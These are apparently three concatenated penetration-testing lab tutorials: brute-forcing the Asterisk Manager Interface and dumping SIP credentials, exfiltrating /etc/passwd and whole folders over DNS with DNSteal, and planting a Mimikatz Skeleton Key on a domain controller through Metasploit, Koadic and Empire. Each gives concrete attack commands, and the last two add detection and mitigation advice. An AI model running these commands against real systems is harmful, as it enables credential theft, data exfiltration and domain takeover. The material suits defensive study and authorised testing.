Penetration Testing on VoIP Asterisk Server (Part 2)

In the previous article we learned about Enumeration, Information Gathering, Call Spoofing. We introduced a little about the Asterisk Server. This time we will focus more on the Asterisk Manager Interface and some of the commands that can be run on the Asterisk server and we will also look at the AMI Brute force Attack.

Table of Content

·         Introduction to AMI

·         AMI Setup

·         AMI Bruteforce Attack

·         AMI Login

·         AMI Help

·         Enumerating SIP Users

·         Enumerating Specific User

·         Enable Debugging

·         Enumerating Dial Plan

·         Enumerating Core Settings

·         Enumerating CDR (Call Detail Records)

·         Enumerate Live Calls

Introduction to AMI

AMI means Asterisk Manager Interface; AMI allows the client program to connect the asterisk server and issues commands or read events using TCP port. By default, AMI port 5038.

With the Manager interface, we can control the PBX server, originate calls, check mailbox status, monitor the channels and SIP accounts, queues as well as execute Asterisk commands. We configure AMI setting by editing the config file located at etc/asterisk/manager.conf. By default, AMI is disabled, it can be enabled by making changes in manager.conf. AMI commands are called "actions". The VOIP server generates "response". AMI will also send "Events" containing various information messages about changes within the Asterisk.

While configuring the AMI, we can change Manager Headers and Response ID too. The manager can handle subscribes to extension status reports from all channels, which enable them to generate events when an extension or device changes state. There are lots of details in these events that may depend on the channel and device configuration. All channel’s or Trunk configuration file for more information in (/etc/asterisk/sip_custom.conf or /etc/asterisk/extensions_custom.conf)

Note: Before using AMI, make sure all the asterisk modules are loaded. If modules are not loaded the application might not send AMI actions.

AMI Setup

The AMI setup requires that we make some configuration changes that we discussed in the Introduction. To make necessary changes, we need to log in to the VoIP server using SSH service.

ssh 192.168.1.12

vi /etc/asterisk/manager.conf

 

Make the following changes in the file.

enabled = yes

port = 5038

secret = amp111

permit=0.0.0.0/255.255.255.0

After saving configuration restart the VoIP server so that config change can come in effect.

Now, let’s see if we have the port 5038 running. Let’s perform a nmap scan to confirm the AMI port is opened.

nmap -p5038 192.168.1.12

As we can see that AMI is working on port 5038.

AMI Bruteforce Attack

For brute force, we create a dictionary of possible users and passwords. We are going to use the asterisk_login auxiliary for this attack.

use auxiliary/voip/asterisk_login

set rhosts 192.168.1.12

set user_file /root/Desktop/unix_users.txt

set pass_file /root/Desktop/unix_passwords.txt

set stop_on_success true

run

Here, we can see that we can extract the AMI login username and Password. Most of the Asterisk-based VoIP server default username “admin” and password “amp111”.

AMI Login

Now let’s try logging on the Asterisk server using the credentials. We can use telnet for connecting to the AMI. After connecting we need to tell the AMI what kind of action we want to perform. In this instance, we are trying to login. So, after providing the action, we give the credentials and get access. Here we can see that we have the system privileges. 

telnet 192.168.1.12 5038

Action: Login

Username: admin

Secret: amp111

AMI Help

As we don’t know much about the command that can be used to work around the Asterisk. We ran the help command to get a better understand of all the different tasks that can be performed using the AMI.

Action: Command

Command: help

Enumerating SIP Users

Let’s enumerate the SIP User's data, which can have the Extensions, Usernames, and their respective secrets. For this, we will need to specify the action. We use “command” as action. After specifying we ran the command that will show us the data of the SIP Users.

Action: command

Command:  sip show users

Here, we found the 4-sip user id’s and password.

Enumerating Specific User

We found 4 users in the previous practical. Now let’s enumerate information about one of the particular user. The action will remain the same for this as well. But we will use the username for targeting a particular user.

Action: command

Command:  sip show peer 2001

Here we can see the specific SIP peer details. We would be able to get the MD5 passwords if it was set to that particular user. We could also figure out the Permission this user has. We could also see the Caller ID of this user as well.

We can also find the Mail Box details, Server IP details. Here, IP means the IP network registration allowed for that user. We could see what kind of device the user uses as well.

Enable Debugging

Debugging can be used to monitor the hardware configuration and fault errors we can find, as well as observe the configuration and call handling information, code, and modules.

Action: Command

Command: sip set debug on

Here we can see SIP debugging enabled. If in case we do not turn off debug backend it will run until then we stop.

Enumerating Dial Plan

Asterisk based VoIP server common dial plan context from-internal it shows about call routing information.

Action: Command

Command: dialplan show from-internal

As we can see here to type of dial plan available by default one is from-internal-xfer and another one bad-number.

Enumerating Core Settings

It will show about all the asterisk default information, asterisk version, build options, verbosity information, start time, free memory load, AMI information, default language, call record feature,

Enumerating CDR (Call Detail Records)

CDR is the most useful service in asterisk. CDR is the system that provides one or more call records for each call depending on what version of Asterisk. It is useful for administrators who need a simple way to track what calls have taken place on the Asterisk system.

Action: Command

Command: cdr show status

Here we can CDR logging is enabled, as well as the database server running, CDR registered at backed to MySQL. We can enumerate the CDR database details using the following command.

The amount of time the user is connected to the database and the logs entered in the database can be observed in the screenshot below.

Action Command

Command: cdr mysql status

Enumerate Live Calls

We can also enumerate the active calls and processed call list which tells us about different calls that are currently in session.

Action: Command

Command: core show calls

If you want to know more commands that can be used to enumerate an AMI, Please refer to the official Asterisk Wiki.

Data Exfiltration using DNSSteal

In this article, we will comprehend the working of DNSteal with the focus on data exfiltration. You can download this tool from here.

Table of content:

·         Introduction to Data Exfiltration

·         DNS Protocol and it's working

·         DNS Data exfiltration and it's working

·         Introduction to DNSteal

·         Proof of Concept

·         Detection

·         Mitigation

·         Conclusion

Introduction to Data Exfiltration

Data Exfiltration is referred to the process where an attacker fetches the sensitive data from the target’s system and store it to their system. As data exfiltration is simply a transfer of data of the network, it becomes difficult to detect. Every organization deals with handling sensitive data which makes the data exfiltration attacks very real. Data exfiltration can be caused due to insider threats or outsider threats. Insider threats are comprised of an employee selling secrets for profit or sharing data carelessly whereas outsider threats are said to be the ones where a cybercriminal exploits a vulnerability to establish a foothold and then goes on to steal the data.

DNS Protocol and it's working

The DNS protocol works on TCP/UPD port 53. It is a stateless protocol as it exchanges specific information. It allows a network to connect to the internet and without it, all the surfing on the internet would be impossible and far-fetched.  Its function is to translate IP address to hostnames (for the convenience of the user) and vice versa. Hence the utmost importance of DNS in a network.

DNS Data Exfiltration and its working

As we know that DNS is a stateless protocol, i.e. it was never meant to send or receive data from a client to the server. Even so, the authorized DNS will believe that all the queries sent to it are legitimate. And this fact is exploited by attackers as if a request made to a subdomain then that request is treated as data only if the query is constructed properly. For instance, the attacker sends a query to example.target.com and the DNS target.com receives ‘example’ as a string then it will consider the said string as data and this will let the attack access target.com. Now, this lets the attacker set up a covert channel mostly by using the C2 server between DNS and client and retrieves all the data through bidirectional communication. Manipulating DNS in such a way to retrieve sensitive data is known as DNS data Exfiltration.

When data is transferred from one system to another without any direct connection and this transfer of data is done over DNS protocol then it is known as DNS Data Exfiltration. DNS protocol is exploited to get attackers to get their hands on sensitive data.

Introduction to DNSteal

DNSteal is a tool that sets up a fake DNS server and allows an attacker to sneak in a network. As the name suggests it is based on DNS protocol and works on port 53. It is used to extract data from the target after setting up the connection and is one of the best tools for DNS Data Exfiltration. Multiple files can be extracted using this tool. It also supports Gzip file compression. It all lets you manage the size of packets which carries your data over the network to reduce suspicions.

Proof of Concept

Download DNSteal using the following command:

git clone https://github.com/m57/dnsteal

And to further initiate the tool and see all the parameters it provides, use the following command:

python dnsteal.py

Now we will generate a command using DNSteal; the said command will extract the desired data upon execution on the target system. To generate the command, give your local IP and use -z parameter. This -z parameter will unzip the files upon receiving as they are zipped by default. Therefore, type:

python dnsteal.py 192.168.1.112 -z

From our target system, we will request the secret.txt file over the DNS connection that will establish when we will run the given command. The contents of secret.txt can be seen in the following image.

 Now as you can see in the image above, two commands are generated. Copy the first one (highlighted one).

And paste it in the destination folder. Before executing the command, make sure that filename has been changed to the name of the file you desire as shown in the image below:

And when the command is executed, the requested file will be received on your terminal. The tool will also calculate the MD5 hash sum for you. Also, you can view the content of the file with the cat command as shown in the image below:

Now we will try to extract a whole folder instead of a single file. Initiate the DNS server provided by DNSteal tool via typing the following command:

python dnsteal.py 192.168.1.112 -z

The folder which we will try to retrieve is shown in the image below, inclusive of their contents. The folder contains all type of data including .pdf, .msi, .png, .dll.

Again, you will see that it generated two commands. However, this time we will copy the second one (highlighted on) and paste it in the destination folder as shown below:

Upon the execution of the command, you can see the folder is received accurately with the calculated MD5 hash sum for each file as shown in the image below:

To reduce the suspicion of the attack, an attacker can divide the file into multiple packets. These packets can be of fixed size in bytes. An attacker can even allocate some bytes to the file name. this is done to avoid triggering an alert in a network which abusing of UDP packet’s size will do. This customization can be done by using -s, -b and -f parameters. The parameter -s is for defining the subdomain value, -b is for specifying the number of bytes per packet and -f is for defining the value of bytes for the filename. In the following command, which can be well observed from the image given below as well, we have defined 4 subdomains. The bytes per packet are set to 57and file name value is 17.

python dnsteal.py 192.168.1.112 -z -s 4 -b 57 -f 17

Now we will acquire the passwd file from the target. As you can see from the image below, the size of the file is 2511 bytes. Now just copy the command and paste it in the /etc folder on the target system. Again, before executing the command make sure to change the filename to passwd.

Once the command is executed, you can see that the data received will be in chunks of 243 bytes as shown in the image below. And when the receiving is complete, it will give you the MD5 hash sum too and you can read the contents of the file with simple cat command as the file received will be uncompressed:

And this is how a DNS Data Exfiltration attack is done.

And this way we have retrieved the password file. And while this transfer of data, Wireshark helped us validate the bytes per packet size. Also, we can confirm that the connection established as well as the transfer of data is being done on port 53. 

Detection

As Data Exfiltration attack through DNS is very sneaky and as the data is being transferred over the network it is a challenge to detect this attack. Therefore, to detect this attack, one must regularly analyze the network traffic. To detect such attacks, focus on the processes that are exploiting the network or the processes that are unexpected. Moreover, analyze the network packets in-depth and check for any anomaly behavior. For instance, if a client is sending more data than it is receiving then it is suspicious. To detect such attacks, also look for the data packets of fixed size that’s are being over a long connection.

Mitigation

The following measure should be taken for mitigation against DNS Data Exfiltration:

·         Implementation of Network Intrusion Prevention System. This implementation should be based on a network signature and anomaly of packets.

·         Network traffic should be filtered by limiting the clients to converse with DNS.

·         Dedicated DNS servers should be set up.

·         Proper network segmentation should be done.

·         Configuration of firewalls should be apt and only necessary ports should be active.

·         Network traffic flow should be on the bases of firewall rules.

·         All of the employees should be made aware of the consequences.

·         All the unauthorized channels should be blocked.

·         Data Loss Prevention Policies should be adapted.

·         Network logs should be maintained and monitored.

Conclusion

Monitoring and limiting the access of other ports such as FTP, SSH has led attackers to come up with new techniques such as exploiting DNS over the years. DNS is a foundation for every internet connection and as every client-to-server connection depends on DNS; restricting the DNS access is not possible. And this makes DNS a worthy protocol for an attacker to use as Data Exfiltration. DNS Data Exfiltration is a major and very real threat to all organizations. And so, both detection and prevention of data breaches and losses must be dealt with by the companies. Attacks like Remsec and Helminith used DNS port for data exfiltration and these attacks and be easily mimicked. Therefore, educating oneself on such attacks is a necessity to protect themselves as a recent survey shows that 46 percent of companies have been victims of this attack.

Domain Controller Backdoor: Skeleton Key

When the many people around were fighting the good fight for Net Neutrality, talented people over Dell SecureWorks Counter Threat Unit or CTU discovered a malware that can bypass the authentication on Active Directory Systems around the world. This poses a threat to all those systems that have implemented a single-factor authentication. Multiple Factor Authentication was not a big thing back in those days. The attacker can use a password that they want to authenticate as any user on the targeted server. Due to its nature, it was named Skeleton Key.

Table of Content

·         Introduction

·         Configurations used in Practical

·         Physical Access

o   Mimikatz

§  Injecting Key     

§  Accessing Server Directories

·         Remote Access

o   Metasploit Kiwi Module

§  Injecting Key

§  Accessing Server Directories

o   Koadic Mimikatz_dynwrapx Implant

§  Injecting Key

§  Accessing Server Directories

o   Empire skeleton_key Module

§  Injecting Key

§  Accessing Server Directories

·         Detection

·         Mitigation

·         References

Introduction

Introduction to Windows Authentication

Microsoft Windows uses two distinct packages in a network for authentication.

·         NTLM

·         Kerberos

These Authentication packages are enclosed in Dynamic Link Libraries (DLLs) which are loaded into the Local Security Authority Subsystem Service (LSASS) process and client processes.

In these two standard authentication packages, two authentication protocols are implemented The Kerberos authentication is implemented in the Kerberos authentication package and The NTLM authentication is implemented in the MSV1_0 authentication package.

Skeleton Key and Authentication

The Skeleton Key attack tampers both the authentication methods. During NTLM authentication the hash of the master password which is injected in the LASS process will not be matched with the SAM database. Although it will be matched with the Skeleton Key hash. Therefore, completing the authentication. Kerberos encryption will also be downgraded to an algorithm that doesn’t support salt (RC4_HMAC_MD5) and the hash retrieved from the active directory will be replaced with the Skeleton Key hash. The master password hash will be validated server-side. This will lead to successful authentication for Kerberos and NTLM methods.

Working of Skeleton Key

This Skeleton Key injects itself into LSASS and creates a master password that will work for any account in the domain. After injecting, the attacker can use the Skeleton Key password configured at the time of deployment to log in as any domain user. Real users will still be able to log in using their original passwords. This authentication bypass applies to all services that use single-factor AD authentication, such as webmail and VPNs, and it also allows an attacker with physical access of the compromised system to gain control over the system by entering the injected password physically.

Skeleton Key and Red Teaming

The Skeleton Key is a post-exploitation technique that can be used by the Red Teams to access the hosts and network resources without the need to crack any passwords of domain users. Skeleton is used to perform the Lateral Movement after getting the initial foothold in the Target Network and/or Systems. Normally, to achieve persistency, malware needs to write something to Disk. The disk is much more exposed to scrutiny. DC is critical for normal network operations, thus (rarely booted). Therefore, DC resident malware like the skeleton key can be diskless and persistent. Benjamin Delpy implemented the technique that the malware is using inside Mimikatz.

Pre-Requirements for the Attack

To perform this attack, the attacker should have Domain Admin rights. 

Rebooting a domain controller will remove this malware and it will have to be redeployed by the attacker.

Scenarios

Let’s talk scenarios, we are going to look at 2 scenarios in general. The first one will be if we have the physical access of the clients in the network. Next, we will comprise one of the clients and then inject the skeleton key remotely to the server.

Configurations used in Practical

Attacker:

    OS: Kali Linux 2020.1

Target:

   Server OS: Windows Server 2016

   Client OS: Windows 10

Physical Access

Since we are assuming the physical access of the client, the injecting skeleton key is quite similar. We are just trying to explain the working of the skeleton key. Scenarios can vary in the real-world due to an unexhaustive list of variables that can factor in the real world.

Mimikatz

There is a DLL file for injecting the skeleton key in the memory, but we have the Mimikatz that can perform this task very easily.

Injecting Key

We run the Mimikatz executable x64 version with the Administrator privileges on the Client System directly. This can be done by right-clicking on the Mimikatz executable and choose “Run As Administrator” option from the drop-down menu. It will ask for the credentials for the Administrator. Enter the credentials. Then we will see that we have the Mimikatz launched. First, we will debug the privilege. We get the OK message that means we are clear to move ahead. Skeleton Key was kept in the Misc modules of Mimikatz. We will inject the skeleton key into the memory using the commands shown in the image given. From the OK messages, we can be sure that we have completed the task successfully.

privilege::debug

misc::skeleton

Accessing Server Directories

Now that we have injected the skeleton key, the server should be accessible to us using the “mimikatz” password. There is a long list of things that we can do from here. But to prove that point we will just take a peep at the Directories of the Server. Lucky for us, we have just the command for it – “net use”.

net use R: \\WIN-S0V7KMTVLD2\admin$ /user:Administrator mimikatz

As soon as we run the previous command, we can see that we have one new drive in the Network Locations. It has the same letter that we mentioned in the command above. Let’s take a peep inside it.

This is the directory form the Windows Server. We have all the services and files from the server that is accessible on the client machine.

This concludes this scenario. Again, there are a variety of things that can be done now that we have a skeleton injected in the Sever. This is just a convenient example.

Remote Access

Time to move on to the scenario where we have the remote access of the server and one of the clients in the Network. We are going to use the 3 most prominent Frameworks for the attack. To know about how to compromise a system using these frameworks refer to these articles.

1.       Metasploit

2.       Koadic

3.       Empire  

Metasploit Kiwi Module

First, we will be using the Metasploit Framework. We compromise the system and gain a meterpreter session on DC. After gaining the meterpreter session, we load the kiwi module in the session. This gives us the ability to perform the mimikatz commands directly from the meterpreter. We use the kiwi_cmd command to execute the skeleton injection command into the Sever.

load kiwi

kiwi_cmd misc::skeleton

The work on the Server is done. Now it’s time to compromise the client. After gaining the meterpreter, we run the shell command. Again, to demonstrate the successful injection of the skeleton key we will be using the net use command to gain the server directory. This time we name is disk Y. After executing the net use command, we pop up a PowerShell instance to access the new shared drive. Now, this sounds weird but we tried to access the directory using the cmd prompt but it was not accessible here. Still, we can see that the contents of the Server Directory are accessible here using the password “mimikatz”.

shell

net use Y: \\WIN-S0V7RMTVLD2\admin$ /user:Administrator mimikatz

powershell

cd Y:\

dir

Koadic Mimikatz_dynwrapx Implant

Meterpreter is the basic approach. Koadic is a modern one. We gain the session on the server once again. This time we will be using the Koadic implant to inject the skeleton key. After gaining a session, we select the implant with the use command. The name of the implant we plan on using is “mimikatz_dynwrapx”. It gives us a similar functionality as the meterpreter kiwi. We ran the command misc:: skeleton with the help of the MIMICMD function. It injected the skeleton in the Server in no time.

use mimikatz_dynwrapx

set MIMICMD misc::skeleton

execute

Now that we have successfully injected the skeleton key in the memory of the server. Now we proceed towards gaining the session on one of the client machines. After we got the session, we needed to run the net use command to get access to the server directories. As it’s a Windows native command, we needed to use the exec_cmd implant to execute this command. We can see in the image given below that the implant has shown the reply saying that the command completed successfully.

use implant/manage/exec_cmd

set CMD net use Y: \\WIN-S0V7KMTVLD2\admin$ /user:Administrator mimikatz

execute

Now we need to take a peek into the newly accessible drive Y. Again, we use the same implant with dir command set to it. This gave us the list of files in the directory hosted on the server. This was possible using the password ‘mimikatz’.

set CMD dir Y:\

execute

Empire skeleton_key Module

Two of the frameworks from our agenda are down. Now we turn to the Empire. While working with this framework we ran into a hiccup. We will talk about it later. But we start with gaining access to the server on Empire.

After having an Active Agent, we selected the skeleton_key module to inject the skeleton key in the memory of the server. It doesn’t require any twerking. So, we just executed it right off the bat. It was a pretty sweet deal. It ran for a few seconds and then giving the message that the Skeleton key is implanted. We can use the mimikatz as the password to access the server.

usemodule persistence/misc/skeleton_key*

execute

This concludes the server business. Now we move to the Client Machine. We gain a session on the Client Machine using Empire.

Now to the hiccup we mentioned. There were a whole bunch of issues running the net use command from the Empire shell. This led us to think outside the box and we just created a batch file named netuse.bat and wrote the net use command that we want to execute on the Client Machine. It can be observed that the password used to access the server is “mimikatz”.

Then we threw this batch file to the client machine. This can be done by creating an http server using Python One Liner and using the wget command on the Client Machine to download the batch file. Then we ran this batch file on the target machine. This ran successfully and gave us access to the server directory posed as R:\. We used the dir command to take a peek into it. This is indeed the server directory. This concludes this demonstration of skeleton keys on Windows Server using different methods.

shell wget http://192.168.1.112:8000/netuse.bat -outfile netuse.bat

shell .\netuse.bat

shell dir R:\

We broke the security now its time to detect and mitigate this threat.

Detection

The Skeleton Key is not transmitted over the network traffic. Hence, Network-based Intrusion Detection and Intrusion Prevention Systems (IDS/IPS) will not detect this threat.

Skeleton Key has been detected as a 64-bit DLL file with the following file names:

•  msuta64.dll

•  ole.dll

•  ole64.dll

Active Directory Domain Controllers may experience replication issues. These kinds of issues led to users to contact the Microsoft Technical Staff. The suggestion they provided was an actual "Reboot" the Server. This, in turn, led to removing the skeleton key from the memory altogether.

An attacker can use PsExec to perform to create different services. This could lead to the creation of logs at the Windows Service Control Manager log. We can use the SIEM to log events from key servers, like domain controllers, and alerting on the unauthorized use of domain administrator credentials may help in identifying the attacker activity.

Maintain a process creation audit trail on all workstations and servers. This may lead to the detection of Skeleton Key deployments. Be on the lookout for unexpected PsExec.exe or rundll32.exe process and the running of PsExec.exe with the “-accepteula” parameter. Also, be on the lookout for the following Event IDs:

Mitigation

·         Enable the Multi-factor authentication for all remote access applications.

·         Reduce the amount of Domain Admins accounts in your Network.

·         Ensure Domain Admins cannot logon to lesser privileged machines where their hashes may be subject to be compromised by attackers.

·         Prevent untrusted code from running on Domain Controllers.

References

·         MITRE ATT&CK

·         Dell Secureworks

·         Microsoft Kerberos Authentication Overview

·         Microsoft NTLM